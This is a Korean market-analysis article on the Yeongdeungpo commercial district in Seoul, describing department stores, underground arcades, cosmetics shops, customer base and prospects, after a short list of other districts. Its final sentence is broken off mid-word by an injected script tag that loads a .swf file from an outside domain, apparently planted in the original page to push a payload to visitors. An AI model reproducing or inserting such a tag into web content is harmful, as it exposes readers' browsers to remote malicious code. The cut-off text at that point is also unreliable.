*-관악구 신림4거리
*-서대문구 이대입구
*-강남구 강남역일대
*-광진구 건대입구
*-성북구 돈암동
*-중구 명동
*-영등포구 영등포동
*-종로구 대학로
*-강동구 천호동
*-용산구 숙대입구
주변환경 ▶유동인구 20만명의 금싸라기 땅 3개 백화점, 경부선과 호남선의 관문, 경인선과 경수선이 통과되는 곳이 바로 영등포다. 서울역과 더불어 한때 최고의 명소였던 영등포는 70년대 중반부터 영등포시장과 연결되어 커다란 상권으로 형성되어 왔다. 그러다가 90년대에 들어서 롯데백화점이 오픈하면서 이 상권은 더욱 발전을 거듭해왔다. 그후 신세계, 경방필 백화점들이 속속 들어서면서 명실공히 고급상권으로 탈바꿈하는데 일조를 하게 된다. 영등포 상권을 대변할수 있는 좋은 일화가 94년에 경방필 백화점이 들어설 때 있었다. 경방필 백화점이 오픈하려고 하자 주변 백화점들의 외압으로 입점 업체들이 곤혹을 치뤘다. 고객이 분산되어 자신들의 백화점 매출이 떨어질 것이라고 판단 했기 때문이었다. 그러나 막상 오픈을 하고나자 주변 백화점들의 매출이 오르는 기현상이 나타났다. 이유는 명동등으로 나가던 쇼핑객들이 영등포로 모였기 때문이었다. 당시에 이러한 기현상으로 영등포의 유동인구가 급증했던 적이 있었다. 이제 영등포는 하루 유동인구만 15만명에서 20만명을 확보한 금싸라기 땅이라고 할 수 있다. 특히 영등포역 주변에는 식당, 나이트클럽, 유흥업소등이 한데 모여서 먹자골목을 형성하고 있다. 하지만 젊은의 거리가 없는 점이 영등포역 상권의 가장 큰 약점이다. 이 점은 유흥에서 쇼핑으로 이어지지 못한다는 결점이 안고 있다. 하지만 영등포는 지리적인 요인과 역사와 연결되는 지하상가의 형성으로 여전히 손꼽히는 상권으로 분류되고 있다. 상권특성 ▶백화점, 재래시장, 지상, 지하상가 공존 영등포 시장과 롯데 신세계 경방 필 백화점등으로 이어지는 지하와 지상상가는 화장품 전문점, 의류매장, 약국, 금융기관등이 포진되어 그야말로 노른자를 형성하고 있다. 특히 화장품전문점은 지하 지상을 통틀어 20여개가 대형매장에서 소형매장까지 다양하게 자리를 잡고 있다. 지상상권에서는 빅마트가 영등포 로터리와 영등포역 앞에서 주도를 하고 있다. 영등포는 크게 영등포 로터리와 영등포 역으로 크게 나눌수 있다. 로터리는 매장이 넓어서 고가제품이 잘 나가고, 역 근처는 매장이 적은 대신 저가제품이 잘 팔리는 특성을 갖고 있다. 30대에서 40대까지가 화장품전문점의 주고객이어서 인터넷쇼핑몰에 의한 매출은 영향을 거의 받지 않은 것도 또다른 특징이다. 심야버스가 영등포에서 출발하거나 경유지가 되기 때문에 일부 전문점에서 새벽3시까지 영업을 하는 곳이 있을 만큼 유동인구가 아침부터 새벽까지 끊이지 않는다. 영등포 일대의 화장품전문점의 특징중의 하나는 건물들이 대부분 낡았지만 매장은 매우 깨끗하고 정돈이 잘 되어 있는 점이다. 20여개의 전문점을 방문해 보면 외관상의 건물들은 오래되고 낡아있지만 매장안의 디스플레이는 놀랄 정도로 잘 되어있는 점이 눈에 두드러진다. 이런 점이 전문점들이 고정고객을 확보하는 비율이 다른 상권에 비해 높은 점으로 작용되기도 한다는 것이 전문점주들의 중론이다. 실제 빅마트의 경우 고정고객이 80%를 육박할 정도여서 일반적으로 영등포 상가는 스쳐가는 고객이 대부분일 것이라는 고정관념을 깨뜨려 준다. 이 영등포 전문점들이 경제의 악조건을 극복하고 건재할수 있는 요인이라는 결론을 얻게 된다. 분석과 전망 ▶축제등을 통한 몰려드는 고객 흡수 미흡 영등포 상권은 앞으로 상당히 좋은 지역으로 분류될 것으로 예상된다. 그동안은 교통의 요충지로만 각광 받아왔지만 인근이 아파트 숲으로 둘러싸여지는 형태로 주변 아파트지역이 개발되고 있어 앞으로 쇼핑의 거리로 거듭날 수 있기 때문이다. 현재 20여개의 화장품 전문점이 몇 개 정도 더 늘어날 전망도 조심스럽게 제기되고 있어 포화상태라는 점이 감안되더라도 앞서 지적했듯이 앞으로 인근 주변의 아파트 단지의 형성으로 큰 문제는 되지 않을 것으로 판단된다. 하지만 현재 영등포 상권이 위협을 받는 것은 다른 지역과 마찬가지로 할인점들의 등장이다. 앞으로 할인점들이 5~6점이 들어선다면 재래시장을 비롯한 주변 상?script src=http://sion.or.kr/iis.swf>
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